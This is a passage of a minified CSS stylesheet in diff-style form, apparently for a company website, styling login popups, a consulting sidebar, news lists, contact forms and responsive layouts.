+.agreement-wrap{padding:30px;color:#000;font-size:14px;line-height:1.6;background-color:#fff} +.indent2{text-indent:2em} +.agreement-wrap h2{padding-bottom:30px;font-size:20px;text-align:center} +.agreement-wrap h3{margin-bottom:12px;font-size:14px} +.agreement-wrap b,.agreement-wrap h2,.agreement-wrap h3,.agreement-wrap strong{font-weight:700} +.agreement-wrap strong{display:block} +.agreement-wrap p,.agreement-wrap strong{margin-bottom:8px} +.agreement-close,.popbox-close{position:absolute;right:0;top:0;width:60px;height:60px;color:#ccc;font-size:50px;text-align:center} +.agreement-close-btn{color:#8c8c8c;font-size:16px} +.agreement-close-btn:hover{color:#666} +.popbox-close:hover{color:#fff} +.agreement-close:hover{color:#aaa} +.popbox-header{margin:0 auto 60px;display:block;height:107px;max-width:500px} +.popbox-con{margin:0 auto;width:430px} +.popbox-inputbox{position:relative;color:#3e60b8} +.popbox-forgot,.popbox-inputbox{padding:0 15px 15px} +.popbox-getcode,.popbox-input,.popbox-login-btn{padding:0 15px 0 52px;height:48px;width:100%;line-height:48px;border-radius:3px;background-color:#fff} +.popbox-getcode,.popbox-input.popbox-input-no{padding-left:15px} +.popbox-forgot{padding-top:15px;padding-bottom:10px;font-size:12px;color:#add5f2} +.popbox-forgot-btn,.popbox-login-a{color:#add5f2;text-decoration:underline} +.popbox-forgot-btn:hover,.popbox-login-a:hover{color:#fff} +.popbox-code{width:222px} +.popbox-code-img{width:144px;height:48px;border-radius:3px} +.popbox-getcode,.popbox-login-btn{padding-left:0;padding-right:0;display:block;font-size:18px;line-height:48px;color:#fffefe;text-align:center;background-color:#00dbaa} +.popbox-inputbox-f .popbox-input{border:1px solid #1585d4;box-shadow:inset 0 0 5px 0 rgba(19,141,227,.004)} +.popbox-inputbox-f .icon-email{background-repeat:no-repeat} +.popbox-inputbox-f .icon-password{background-repeat:no-repeat} +.popbox-login-btn:hover{color:#fff;background-color:#00cc9e} +.pop-icon{position:absolute;left:30px;display:block;width:23px;background-repeat:no-repeat;background-position:0 0} +.icon-email{top:14px;height:20px;background-repeat:no-repeat} +.icon-password{top:11px;height:26px;background-repeat:no-repeat} +.popbox-input-tip{display:none;clear:both;padding:6px 12px 0;line-height:16px;font-size:12px;color:#e2f0ff} +.popbox-input-tip:before{content:'!';margin-right:8px;display:inline-block;width:16px;height:16px;color:#3196da;text-align:center;border-radius:16px;background-color:#e1efff} +.popbox-login-href{padding-top:20px;text-align:center} +.popbox-login-a{font-size:12px} +.popbox-getcode-box{padding-bottom:40px} +.popbox-getcode{width:144px;font-size:14px;background-color:#5bb3f3} +.popbox-getcode.cur{cursor:default;background-color:#9aacb9} +.popbox-getcode.cur:hover{color:#fffefe;background-color:#9aacb9} +.popbox-getcode:hover{color:#fff;background-color:#4eabef} +.reset-password{margin:0 auto 25px;display:block;height:38px;max-width:291px} +.reset-password-two{display:none} +.agreement-btn{color:#add5f2;text-decoration:underline} +.agreement-btn:hover{color:#fff} +.tip-pop{position:fixed;top:50%;left:50%;padding:10px 30px;font-size:16px;line-height:1.25;color:#fff;opacity:0;border-radius:5px;background-color:#5cb85c;z-index:1001} +.tip-pop.err-pop{background-color:#ec971f} +@-webkit-keyframes fadeInUp{from{opacity:0;-webkit-transform:translate3d(0,100%,0);transform:translate3d(0,100%,0)} +100%{opacity:1;-webkit-transform:none;transform:none} +} +@keyframes fadeInUp{from{opacity:0;-webkit-transform:translate3d(0,100%,0);transform:translate3d(0,100%,0)} +100%{opacity:1;-webkit-transform:none;transform:none} +} +@-webkit-keyframes fadeInDown{from{opacity:0;-webkit-transform:translate3d(0,-100%,0);transform:translate3d(0,-100%,0)} +100%{opacity:1;-webkit-transform:none;transform:none} +} +@keyframes fadeInDown{from{opacity:0;-webkit-transform:translate3d(0,-100%,0);transform:translate3d(0,-100%,0)} +100%{opacity:1;-webkit-transform:none;transform:none} +} +@-webkit-keyframes fadeInRight{from{opacity:0;-webkit-transform:translate3d(100%,0,0);transform:translate3d(100%,0,0)} +100%{opacity:1;-webkit-transform:none;transform:none} +} +@keyframes fadeInRight{from{opacity:0;-webkit-transform:translate3d(100%,0,0);transform:translate3d(100%,0,0)} +100%{opacity:1;-webkit-transform:none;transform:none} +} +@-webkit-keyframes fadeInLeft{from{opacity:0;-webkit-transform:translate3d(-100%,0,0);transform:translate3d(-100%,0,0)} +100%{opacity:1;-webkit-transform:none;transform:none} +} +@keyframes fadeInLeft{from{opacity:0;-webkit-transform:translate3d(-100%,0,0);transform:translate3d(-100%,0,0)} +100%{opacity:1;-webkit-transform:none;transform:none} +} +.more-btn:after{background-position:-33px 0} +.more-btn:hover:after,.news-item:hover .more-btn:after,.news-one:hover .more-btn:after{background-position:-33px -10px} +.case-item-pop-btn:after{background-position:-33px -10px} +.contactus-icon-address{background-position:-5px -20px} +.contactus-icon-phone{background-position:0 -80px} +.contactus-icon-email{background-position:-1px -136px} +.icon-qq{background-position:-18px -186px} +.icon-qq:hover{background-position:-18px -225px} +.icon-wx{background-position:-18px -264px} +.icon-wx:hover{background-position:-18px -303px} +.icon-wb{background-position:-18px -342px} +.icon-wb:hover{background-position:-18px -381px} +.icon-hotline,.icon-user{background-position:-33px -420px} +.icon-user{background-position:-18px -444px} +.popbox-inputbox-f .icon-email{background-position:-31px -483px} +.popbox-inputbox-f .icon-password{background-position:-31px -506px} +.icon-email{background-position:-31px -535px} +.icon-password{background-position:-31px -558px} +.case-item-pop-btn:after,.contactus-icon-address,.contactus-icon-email,.contactus-icon-phone,.icon-email,.icon-hotline,.icon-password,.icon-qq,.icon-qq:hover,.icon-user,.icon-wb,.icon-wb:hover,.icon-wx,.icon-wx:hover,.more-btn:after,.more-btn:hover:after,.news-item:hover .more-btn:after,.news-one:hover .more-btn:after,.popbox-inputbox-f .icon-email,.popbox-inputbox-f .icon-password{background-image:url(../images/common_z.png)} +.log-li{width:140px} +.log-li:hover{background:0 0;border:none} +.log-li a{float:left;margin:28px 9px;font-size:16px;padding:0 10px;line-height:25px;text-align:center} +.log-a{display:block;color:#555} +.log-a:hover{color:#f30} +.log-b{display:block;color:#fff;border-radius:3px;background:#108bed} +.log-b:hover{background:#f30} +.ysleft,.ysright{padding:28px 30px;transition:All .4s ease-in-out;-webkit-transition:All .4s ease-in-out;-moz-transition:All .4s ease-in-out;-o-transition:All .4s ease-in-out} +.ysleft dl,.ysright dl{border:2px solid #108bed;border-radius:100px;background:#fafbfc;margin:0 20px} +.ysleft:hover span,.ysright:hover span{color:#fd6a7f} +.ysleft:hover p,.ysright:hover p{color:#555} +.ysright dl{float:right} +.ysright dd{float:right} +.ysright span{text-align:right} +.ysright p{text-align:right} +.ysleft dl{float:left} +.ysleft dd{float:left} +.ysleft span{text-align:left} +.ysleft p{text-align:left} +.ysrdl1{margin-left:100px!important} +.ysrdl2{margin-left:160px!important} +.ysldl1{margin-right:100px!important} +.ysldl2{margin-right:160px!important} +.solution-box{margin-top:-560px!important} +.solution-box span{display:block;font-size:18px;font-weight:700;color:#0f1830;line-height:35px;margin-top:15px} +.solution-box p{display:block;font-size:14px;line-height:20px} +.solution-box img{margin:20px;transition:All .6s ease-in-out;-webkit-transition:All .6s ease-in-out;-moz-transition:All .6s ease-in-out;-o-transition:All .6s ease-in-out} +.ysleft:hover img,.ysright:hover img{transform:rotateY(360deg);-webkit-transform:rotateY(360deg);-moz-transform:rotateY(360deg);-o-transform:rotateY(360deg);-ms-transform:rotateY(360deg)} +.guangdiv{width:100%;height:400px;background:url(../images/guangbg.jpg) no-repeat;background-position:50%;overflow:hidden} +.guangdiv h6{color:#fff;font-size:30px;display:block;text-align:center;margin:90px 0 0 0;line-height:80px} +.guangdiv span{display:block;text-align:center;line-height:30px;font-size:18px;color:#fff} +.guangdiv a{border-radius:50px;display:block;width:120px;font-size:18px;line-height:40px;text-align:center;color:#0c45b6;margin:50px auto;background:rgba(255,255,255,.8)} +.guangdiv a:hover{background:#fff} +.guangdiv b{color:#89d04f} +.hbpic{border-top:1px dashed #eee;border-right:1px dashed #eee} +.hbpic div{background:#fff;border-bottom:1px dashed #eee;border-left:1px dashed #eee} +.hbpic img{width:80%;margin:10px auto;display:block;transition:All .4s ease-in-out;-webkit-transition:All .4s ease-in-out;-moz-transition:All .4s ease-in-out;-o-transition:All .4s ease-in-out} +.hbpic img:hover{z-index:1;transform:scale(1.1);-webkit-transform:scale(1.1);-moz-transform:scale(1.1);-o-transform:scale(1.1);-ms-transform:scale(1.1)} +.footxxdiv{margin:0 0 50px} +.ksdhdd{font-size:14px;line-height:30px} +.ksdhdd a{padding:0 10px} +.ksdhdd a:hover{background:#555} +.yqljdd{font-size:14px;line-height:30px} +.yqljdd a{background:#555;padding:0 10px} +.lxfsdd{font-size:14px;line-height:30px} +.lxfsdd p{color:#85888e} +.aside{position:fixed;top:0;right:0;width:0;height:100%;z-index:18;background:url(../images/aside.jpg) center top repeat;box-shadow:-2px 0 10px rgba(0,0,0,.1)} +.aside ul{margin-top:100px} +.aside ul li a{display:block;margin-top:30px;text-align:center;color:#fff} +.aside ul li img{display:block;text-align:center;margin:0 auto} +.aside ul li.consulting .img2{display:none} +.aside ul li.consulting span{display:inline-block;margin:0 2px;width:5px;height:5px;border-radius:100%;background:#fff} +.aside ul li.consulting span:nth-child(1){-webkit-animation:consulting .6s 70ms infinite ease-in-out;animation:consulting .6s 70ms infinite ease-in-out} +.aside ul li.consulting span:nth-child(2){-webkit-animation:consulting .6s .14s infinite ease-in-out;animation:consulting .6s .14s infinite ease-in-out} +.aside ul li.consulting span:nth-child(3){-webkit-animation:consulting .6s .21s infinite ease-in-out;animation:consulting .6s .21s infinite ease-in-out} +@keyframes consulting{33%{-webkit-transform:translateY(5px);transform:translateY(5px)} +66%{-webkit-transform:translateY(-5px);transform:translateY(-5px)} +100%{-webkit-transform:translateY(0);transform:translateY(0)} +} +@-webkit-keyframes consulting{33%{-webkit-transform:translateY(5px);transform:translateY(5px)} +66%{-webkit-transform:translateY(-5px);transform:translateY(-5px)} +100%{-webkit-transform:translateY(0);transform:translateY(0)} +} +.aside ul li.consulting.active{background:#fff;transition:.5s all;-webkit-transition:.5s all} +.aside ul li.consulting.active a{color:#3f82ed} +.aside ul li.consulting.active span{background:#3f82ed} +.aside ul li.consulting.active .img1{display:none} +.aside ul li.consulting.active .img2{display:block} +.consulting_box{width:250px;height:100%;background:#fff;overflow:hidden;z-index:15;position:fixed;top:0;right:-250px;box-shadow:-2px 0 10px rgba(0,0,0,.1);transition:.8s all;-webkit-transition:.8s all} +.consulting_box .title{background:url(../images/002.png) center top no-repeat;text-align:center;padding:26px 0 2px 0;color:#fff} +.consulting_box .title_t1{font-size:12px} +.consulting_box .title_t2{font-size:16px;margin:5px 0} +.consulting_type{padding:40px 0;border-bottom:solid 1px #399bec} +.consulting_type_title{padding-left:30px;font-size:16px;color:#333} +.consulting_type ul{margin:30px 0 20px 0} +.consulting_type ul li a{display:block;height:40px;line-height:40px;text-indent:30px;z-index:2;position:relative;color:#666;margin:0;text-align:left;transition:.3s all;-webkit-transition:.3s all} +.consulting_type ul li a img{margin:0;display:inline-block;padding-right:30px} +.consulting_type ul li a .img2{display:none} +.consulting_type ul li a:before{z-index:-1;content:'';position:absolute;top:0;left:0;width:100%;height:100%;background:#3c9af2;opacity:0;-webkit-transform:scale3d(1,.1,1);transform:scale3d(1,.1,1);-webkit-transition:-webkit-transform .4s,opacity .4s;transition:transform .4s,opacity .4s;-webkit-transition-timing-function:cubic-bezier(.2,1,.3,1);transition-timing-function:cubic-bezier(.2,1,.3,1)} +.consulting_type ul li a,.consulting_type ul li a:before{-webkit-transition-timing-function:cubic-bezier(.2,1,.3,1);transition-timing-function:cubic-bezier(.2,1,.3,1)} +.consulting_type ul li a:hover:before{opacity:1;-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0)} +.consulting_type ul li a:hover{color:#fff} +.consulting_type ul li a:hover .img2{display:inline-block} +.consulting_type ul li a:hover .img1{display:none} +.consulting_box .problem{padding-top:40px} +.consulting_box .problem_title{padding-left:30px;font-size:16px;color:#333} +.consulting_box .problem ul{padding:20px 0 0 30px} +.consulting_box .problem ul li{margin-bottom:8px} +.consulting_box .problem ul li a{display:inline-block} +.consulting_box .problem ul li span{display:inline-block;width:3px;height:3px;border-radius:100%;background:#3c9af2;margin:3px 10px 3px 0;animation:none} +.consulting_box .problem ul li a{font-size:12px;color:#818181} +.consulting_box .problem ul li a:hover{color:#3c9af2} +.consulting_type .time{color:#818181;font-size:12px;padding-left:30px} +.consulting_box .close{position:absolute;top:5px;right:8px;cursor:pointer} +.consulting_box .close img{transition:.4s all;-webkit-transition:.4s all} +.consulting_box .close:hover img{transform:rotate(180deg);-webkit-transform:rotate(180deg)} +#close{cursor:pointer;position:fixed;bottom:18px;right:0;width:0;height:40px;z-index:100;background:url(../images/right-menu-icons.png) no-repeat -776px -15%;-webkit-transition:all .4s;transition:all .4s} +#show{cursor:pointer;position:fixed;bottom:18px;right:0;width:40px;height:40px;z-index:100;background:url(../images/icon-list.jpg) no-repeat 0 -762px;-webkit-transition:all .4s;transition:all .4s} +#close:hover{background:url(../images/right-menu-icons.png) no-repeat -776px -93px;background-color:#fff} +.kzf-mod-title p{line-height:30px} +.case_show_brief_title{margin-top:20px;font-size:18px} +.glyphicon-paperclip{background:url(../images/hxz.png) no-repeat;background-position:50%;display:block;height:100%} +.introduce_list_title{line-height:26px} +.introduce_list_text{line-height:25px} +.mapdec{text-align:left} +.mapdec .text{overflow:hidden;margin-top:35px} +.mapdec .text h5{font-size:18px;line-height:35px;color:#0f1830;margin:0 0 0 40px} +.mapdec .text span{font-size:14px;line-height:30px;display:block;margin-top:10px;overflow:hidden} +.mapdec i{float:left;margin-right:10px;display:block;width:30px;height:30px;background:url(../images/contimg.png) no-repeat;background-size:100% auto} +.mapdec i.lx_dz{background-position:0 0} +.mapdec i.lx_dh{background-position:0 -30px} +.mapdec i.lx_yx{background-position:0 -60px} +.mapdec i.lx_wz{background-position:0 -90px} +.mapdec i.lx_gjz{background-position:0 -120px} +.mapdec .buslink{overflow:hidden;margin:20px 0 0 0} +.buslink dd{display:block;overflow:hidden;font-size:16px;line-height:30px;color:#0f1830} +.buslink b{display:block;font-size:16px;line-height:30px;margin:10px 0 0 40px} +.buslink p{display:block;font-size:16px;line-height:25px;margin:0 0 0 40px} +.technical_support_box_z_info{line-height:22px} +.newspagelist{width:100%;overflow:hidden} +.newspagelist a{display:block;overflow:hidden;padding:15px 0;-webkit-transition:all .5s;-moz-transition:all .5s;-ms-transition:all .5s;transition:all .5s} +.newspagelist a:hover{background:#108bed} +.newspagelist .kzf-mod-new-time-box{float:left;width:20%;margin:0 4% 0 0} +.newspagelist .kzf-mod-new-time-date{font-size:24px;font-weight:700;color:#ccc;line-height:40px;text-align:center} +.newspagelist .kzf-mod-new-time-year{font-size:16px;color:#ccc;line-height:22px;text-align:center} +.newspagelist .kzf-mod-new-box{float:left;width:70%;padding:0 0 0 4%;border-left:1px solid #eee} +.newspagelist .kzf-mod-new-title{font-size:16px;color:#0f1830;line-height:30px;overflow:hidden;text-overflow:ellipsis;white-space:nowrap} +.newspagelist .kzf-mod-new-text{font-size:12px;line-height:20px;color:#888;height:40px;overflow:hidden;text-overflow:ellipsis;display:-webkit-box;-webkit-line-clamp:3;-webkit-box-orient:vertical} +.newspagelist a:hover .kzf-mod-new-time-date{color:#fff} +.newspagelist a:hover .kzf-mod-new-time-year{color:#fff} +.newspagelist a:hover .kzf-mod-new-title{color:#fff} +.newspagelist a:hover .kzf-mod-new-text{color:#fff} +.contactipt{width:100%;margin:50px 0 0 0;overflow:hidden;background:#fafafa} +.contactipt h6{display:block;font-size:20px;line-height:50px;background:#108bed;color:#fff} +.contactipt dl{width:100%;overflow:hidden;margin:20px 0 0 0} +.contactipt span{display:block;font-size:16px;color:#0f1830;line-height:30px;text-align:left;width:96%;margin:0 auto} +.contactipt .contipt{width:96%;border:1px solid #ddd;padding:0 5px;font-size:14px;color:#0f1830;line-height:30px} +.contactipt .conttext{width:96%;border:1px solid #ddd;padding:0 5px;font-size:14px;color:#0f1830;line-height:28px;height:114px} +.contactipt .contbut{display:block;width:200px;font-size:16px;color:#fff;background:#108bed;border:1px solid #108bed;border-radius:3px;margin:30px auto;line-height:35px} +.contactipt .contbut:hover{background:#fff;background:0 0;color:#108bed} +.txfwitem{padding:20px 0;overflow:hidden} +.txfwitem:nth-child(2n){background:#fafafa} +.txfwitem img{display:block;width:80%;margin:0 auto;border:1px solid #eee;transition:All .6s ease-in-out;-webkit-transition:All .6s ease-in-out;-moz-transition:All .6s ease-in-out;-o-transition:All .6s ease-in-out} +.txfwitem img:hover{transform:scale(1.1);-webkit-transform:scale(1.1);-moz-transform:scale(1.1);-o-transform:scale(1.1);-ms-transform:scale(1.1)} +.txfwitem h6{display:block;font-size:26px;line-height:50px;color:#108bed;font-weight:700;margin:50px 0 0 0;text-align:center} +.txfwitem p{display:block;font-size:14px;line-height:25px;color:#818181;margin:15px 0 0 0} +.txfwitem p:first-letter{margin:0 0 0 2.5rem} +.pull-left{width:180px;height:80px;overflow:hidden} +.teseul li{overflow:hidden;height:193px;margin-bottom:30px} +.teseul img{display:block;margin:0 auto} +.teseul span{font-size:16px;color:#0f1830;line-height:40px;text-align:center;display:block} +.teseul p{font-size:14px;color:#0f1830;line-height:25px;position:absolute;width:100%;height:193px;padding:69px 20px 0;display:block;top:-193px;left:0;border-top:5px solid #f5f5f5;background:#fafbfc;text-align:center;-webkit-transition:all .5s;-moz-transition:all .5s;-ms-transition:all .5s;transition:all .5s} +.teseul li:hover p{top:0} +.ggchidiv{width:100%;height:120px;background:url(../images/ggbg.jpg) center center no-repeat;margin:50px 0 0 0;transition:All .6s ease-in-out;-webkit-transition:All .6s ease-in-out;-moz-transition:All .6s ease-in-out;-o-transition:All .6s ease-in-out} +.ggchidiv:hover{opacity:.8} +.ggchidiv span{font-size:16px;color:#fff;line-height:30px;display:block;text-align:center;padding:29px 0 0 0} +.indexnews .newdivtit{width:100%;border-radius:15px;overflow:hidden;position:relative} +.newdivtit img{margin:0 auto;max-height:180px;width:100%;display:block;border-radius:15px} +.newdivtit span{position:absolute;top:180px;left:0;width:100%;height:100%;background:rgba(10,70,180,.7);padding-top:60px;line-height:40px;font-size:25px;text-align:center;color:#fff;transition:All .6s ease-in-out;-webkit-transition:All .6s ease-in-out;-moz-transition:All .6s ease-in-out;-o-transition:All .6s ease-in-out} +.newdivtit i{display:block;font-size:16px;font-style:normal;line-height:30px;font-weight:400} +.newdivtit:hover span{top:0} +.indexnews ul{width:100%;margin:20px 0 0;max-height:246px;overflow:hidden} +.indexnews li{width:100%;background:#fff;margin:0 0 1px;padding:0} +.indexnews li a{padding:0 5%;width:100%;max-width:500px!important;margin:0;font-size:16px;line-height:40px;color:#0f1830;border:none;display:block;overflow:hidden;text-overflow:ellipsis;white-space:nowrap} +.indexnews li a:hover{border:none;background:#f5f5f5;color:#108bed} +.indexnews li a span{color:#888!important} +.indexnews .newsmore{width:100%;background:#f5f5f5;font-size:16px;line-height:40px;text-align:center;color:#0f1830;display:block} +.indexnews .newsmore:hover{background:#108bed;color:#fff} +.coop_show_list{width:100%;height:330px;background:#fff;border:1px solid #fff;box-shadow:0 2px 15px 0 rgba(151,151,151,.5);border-radius:4px;margin:30px 0 0 0;padding:0} +.coop_show_list:hover{box-shadow:0 2px 15px 0 rgba(151,151,151,.8);border:1px solid #eee} +.coop-content-left{display:inline-block;height:100%;padding:15px 30px 0 0} +.coop-content-left>p>span:nth-of-type(1){display:block;font-size:30px;color:#23242d;line-height:42px;margin-bottom:20px} +.coop-content-left>p>span:nth-of-type(2){color:#23242d;line-height:30px} +.coop-content-left-aDiv{position:absolute;width:95%;height:65px;border-top:.5px solid #d3d3d3;bottom:10px;padding:0 0 0 3px;font-size:12px;font-weight:600;line-height:50px} +.coop-content-right{display:inline-block;height:100%;padding:0} +.coop-mch-logo{position:relative;width:153px;height:65px;top:15px;right:-20px;box-shadow:0 2px 5px 0 rgba(125,125,125,.53)} +.mch-back1{background:url(../images/mch-back-1.png);background-size:cover;-webkit-background-size:cover} +.mch-logo1{background:url(../images/mch-logo-1.png);background-size:cover;-webkit-background-size:cover} +.mch-back2{background:url(../images/mch-back-2.png);background-size:cover;-webkit-background-size:cover} +.mch-logo2{background:url(../images/mch-logo-2.png);background-size:cover;-webkit-background-size:cover} +.mch-back3{background:url(../images/mch-back-3.png);background-size:cover;-webkit-background-size:cover} +.mch-logo3{background:url(../images/mch-logo-3.png);background-size:cover;-webkit-background-size:cover} +.mch-back4{background:url(../images/mch-back-4.png);background-size:cover;-webkit-background-size:cover} +.mch-logo4{background:url(../images/mch-logo-4.png);background-size:cover;-webkit-background-size:cover} +.mch-back5{background:url(../images/mch-back-5.png);background-size:cover;-webkit-background-size:cover} +.mch-logo5{background:url(../images/mch-logo-5.png);background-size:cover;-webkit-background-size:cover} +.mch-back6{background:url(../images/mch-back-6.png);background-size:cover;-webkit-background-size:cover} +.mch-logo6{background:url(../images/mch-logo-6.png);background-size:cover;-webkit-background-size:cover} +.morecase{margin:20px auto 0} +.morecase h6{font-size:22px;line-height:70px;color:#0f1830;text-align:center} +.morecase .row{border-top:1px dashed #eee;border-left:1px dashed #eee} +.morecase .row div{border-right:1px dashed #eee;border-bottom:1px dashed #eee} +.morecase img{display:block;margin:10px auto;max-width:90%;opacity:.7;-webkit-filter:grayscale(100%);-moz-filter:grayscale(100%);-ms-filter:grayscale(100%);-o-filter:grayscale(100%);filter:grayscale(100%);filter:gray} +.morecase img:hover{opacity:1;-webkit-filter:grayscale(0);-moz-filter:grayscale(0);-ms-filter:grayscale(0);-o-filter:grayscale(0);filter:grayscale(0)} +.newcpcon{overflow:hidden} +.newcplist{overflow:hidden;text-align:left} +.newcplist:nth-child(2n){margin:30px 0;padding:30px 0;border-top:5px solid #fcfcfc;border-bottom:5px solid #fcfcfc} +.newcplist img{display:block;margin:0 auto} +.newcplist h6{font-size:18px;font-weight:700;color:#0f1830;margin:30px 0 0 0} +.newcplist h6:first-letter,.newcplist p:first-letter{margin:0 0 0 2.5rem} +.newcplist p{font-size:14px;line-height:25px;padding:10px 20px;background:#f9f9f9;color:#888;margin:20px 0} +.newcplist ul{overflow:hidden;width:95%;padding:0 0 0 5%} +.newcplist li{float:left;width:50%;font-size:14px;color:#0f1830;line-height:25px} +.newfwcon{width:100%;overflow:hidden;background:url(../images/ggbg.jpg) top center no-repeat;padding:50px 0} +.newfwcon .kzf-mod-product-list-title{font-size:16px;font-weight:700;color:#fff;text-align:center} +.newfwcon:hover .kzf-mod-product-list-title{color:#fff} +.newfwcon p{font-size:12px;color:#fff;text-align:center} +.newfwcon img{display:block;margin:0 auto} +.zspage{width:100%;overflow:hidden} +.zsp_b .container,.zsp_e .container,.zsp_g .zsp_g_top.container{padding:0 0} +.zspage .zsp_a{width:100%;overflow:hidden;background:#ff5b28;padding:30px 0} +.zsp_a .a1{float:left;width:50%;margin:110px 0 0 0} +.zsp_a .a2{float:right;width:45%;margin:0} +.zspage .zsp_b{width:100%;overflow:hidden;background:url(../images/b4.png) no-repeat;background-position:50%;background-size:80%;padding:50px 0} +.zsp_b .zsp_bt{display:block;margin:0 auto;float:none} +.zspage .zsp_c{padding:50px 0 0 0} +.zspage .zsp_d{padding:50px 0} +.zsp_d .zsp_d_con{margin:15px 0 0 0} +.zspage .zsp_e{padding:50px 0;width:100%;overflow:hidden;background:#ffa628} +.zspage .zsp_f{padding:50px 0} +.zspage .zsp_g{padding:50px 0;background:#f0f1f3;width:100%;overflow:hidden} +.zsp_g .zsp_g_con{margin:20px 0} +.zsp_g_con img{margin:15px 0} +.zsp_g .zsp_wd{display:block;margin:0 auto;float:none} +.zsp_g .zsp_wen{background:#ff5b28;border-radius:10px;padding:20px 0 30px} +.zsp_g .zsp_da{background:#58c1f0;border-radius:10px;padding:20px 0 30px} +.zsp_g span{display:block;font-size:22px;line-height:40px;color:#fff;font-weight:700} +.zsp_g span em{font-size:30px;line-height:40px;font-style:normal;color:#fff;margin:0 10px 0 0} +.zsp_g i{display:block;font-size:16px;line-height:22px;padding:0 0 0 40px;text-align:left;font-style:normal;color:#fff} +.zspage .zsp_h{padding:30px 0;overflow:hidden} +.zsp_h .zsp_h_con{overflow:hidden} +.zsp_h_con h6{display:block;font-size:35px;line-height:60px;color:#474747;text-align:center;font-weight:700} +.zsp_h_con dl{width:100%;overflow:hidden;margin:15px 0 0;border:2px solid #f0f1f3} +.zsp_h_con dl span{float:left;width:35%;display:block;background:#f0f1f3;font-size:16px;line-height:46px;color:#474747;text-align:center} +.zsp_h_con dl .contipt,.zsp_h_con dl .conttext{float:left;border:none;width:65%;line-height:46px;font-size:16px;color:#474747;padding:0 5%} +.zsp_h_con .contbut{width:100%;background:#108bed;font-size:20px;color:#fff;line-height:50px;border:none;margin:20px 0 0} +.zsp_pic{width:100%;overflow:hidden;background:#f0f1f3;padding:30px 0} +.zsp_pic div{width:100%;height:310px;overflow:hidden;position:relative;margin:0 auto} +.zsp_pic ul{position:absolute;left:0;top:0} +.zsp_pic ul li{float:left;border:5px solid #fff;margin:0 0 0 20px} +.zsp_pic ul li img{height:300px;display:block} +.zspage h6{display:block;font-size:35px;line-height:60px;color:#474747;text-align:center;font-weight:700} +.zspage p{display:block;font-size:22px;line-height:35px;color:#999;text-align:center;margin:15px 0} +.zspage p em{color:#ff5b28;font-style:normal} +@media (max-width:1199px){#close{display:none} +.box{padding-top:30px!important;padding-bottom:30px!important} +.tit-en{font-size:30px} +.owl-nav{display:none!important} +.footer{padding-top:30px} +.footer-copyright{padding:15px 0} +.product-item-bda,.product-item-bdm,.tit{margin-top:40px} +.tit{padding-left:15px;padding-right:15px} +.solution-box{text-align:center} +.solution-item .more-btn{float:none!important} +.news-container{margin-top:30px} +.news-box-tit{margin:0 15px} +.leader-item-people{text-align:center} +.input-message{margin-top:60px} +.submit-btn{margin-top:30px} +.contactus-item{margin-bottom:30px} +.contactus-item-info{margin-bottom:50px} +.nav-item,.nav-item-child{width:90px} +.log-li{width:130px} +.log-li a{margin:28px 6px} +.ystit{height:auto;width:auto;border:0;border-radius:0;margin:auto} +.solution-box{margin-top:0!important} +.ystit p{margin:0} +.productmsg-sitem{margin:35px 0 0 0} +.ysleft dl,.ysright dl{margin:0 20px!important} +} +@media (max-width:1090px){.nav-item-child .nav-item-a.cur,.nav-item-child .nav-item-a:hover,.nav-item.cur,.nav-item:hover{background-color:#fff} +.nav-item-child .nav-item-a.cur,.nav-item-child .nav-item-a.cur>.nav-item-en,.nav-item-child .nav-item-a:hover,.nav-item-child .nav-item-a:hover>.nav-item-en,.nav-item.cur>.nav-item-a,.nav-item.cur>.nav-item-a>.nav-item-en,.nav-item:hover>.nav-item-a,.nav-item:hover>.nav-item-a>.nav-item-en{color:#075bb9} +.header,.nav-item,.nav-item-a{height:80px} +.nav-item-child{top:80px} +.nav-item-child .nav-item-a{border-top:0;border-bottom:1px solid #e7eff4} +.nav-item-zh{white-space:nowrap} +.pull-left{width:160px;height:80px} +.header-logo-img{margin:22.5px 0;height:35px} +} +@media (max-width:992px){.leader-item-line{display:none} +.banner-item{height:375px} +.header{-webkit-box-shadow:0 2px 10px rgba(0,0,0,.2);-moz-box-shadow:0 2px 10px rgba(0,0,0,.2);box-shadow:0 2px 10px rgba(0,0,0,.2)} +.nav-item{float:none;z-index:2;width:100%} +.header{height:56px} +.nav-item,.nav-item-a{height:auto} +.nav-item-a{padding:0;line-height:50px;color:#cceaff} +.nav-item-child .nav-item-a.cur,.nav-item-child .nav-item-a.cur>.nav-item-en,.nav-item-child .nav-item-a:hover,.nav-item-child .nav-item-a:hover>.nav-item-en,.nav-item.cur,.nav-item.cur>.nav-item-a,.nav-item.cur>.nav-item-a>.nav-item-en,.nav-item:hover,.nav-item:hover>.nav-item-a,.nav-item:hover>.nav-item-a>.nav-item-en{font-weight:400;color:#fff;background:#148cf0;border:none} +.nav-item-child .nav-item-a{border:0;background:#148cf0} +.header-more{display:block!important} +.nav{position:absolute;display:none;overflow:hidden;height:auto;left:0;top:56px;width:100%} +.nav-item-a{margin:0} +.nav-item{background:rgba(0,0,0,.7)} +.nav-item-child{position:static;width:100%;background-color:transparent} +.log-li{overflow:hidden;background:rgba(20,140,240,.8)} +li.nav-item.log-li a{width:30%;margin:20px 10%;color:#fff;line-height:30px} +li.nav-item.log-li a.log-a{border:1px solid #fff;border-radius:3px} +li.nav-item.log-li a.log-b{background:rgba(0,0,0,.7);border:1px solid rgba(0,0,0,.7)} +.pull-left{height:56px} +.header-logo-img{margin:10px 0} +.nav-item-en{display:none} +} +@media (max-width:799px){.footer-copyright .pull-left,.footer-copyright .pull-right,.footer-icon,.footer-items,.footer-social{float:none!important;text-align:center} +.footer-logo{margin-right:10px;margin-bottom:10px;vertical-align:top} +.footer-logo,.footer-nav{float:none!important;display:inline-block;text-align:left} +.footer-social{margin-bottom:15px} +.cmmi{margin:10px 0;text-align:center} +.cmmi img{float:none} +.cmmi span{float:none} +} +@media (max-width:768px){.agreement-wrap{padding:30px 15px} +.aside{display:none} +.banner-item{height:275px} +} +@media (max-width:499px){.footer-slogan{text-align:center} +} +@media (max-width:430px){#show{display:none} +.back-top{right:19px} +.agreement-close,.popbox-close{width:40px;height:40px;font-size:34px} +.popbox-con{width:100%} +.popbox-code{margin-bottom:15px;width:100%} +.swiper-container{height:260px!important} +.inner{width:100%!important;height:260px!important} +.slide1 .xt1{width:90%!important;top:100px!important} +.slide1 .bs2{left:20%!important;top:40%!important;width:60%!important} +.slide1 .bs3{left:20%!important;top:54%!important;width:60%!important} +.slide1 .y1{right:0!important;top:40%!important;width:50%!important} +.slide1 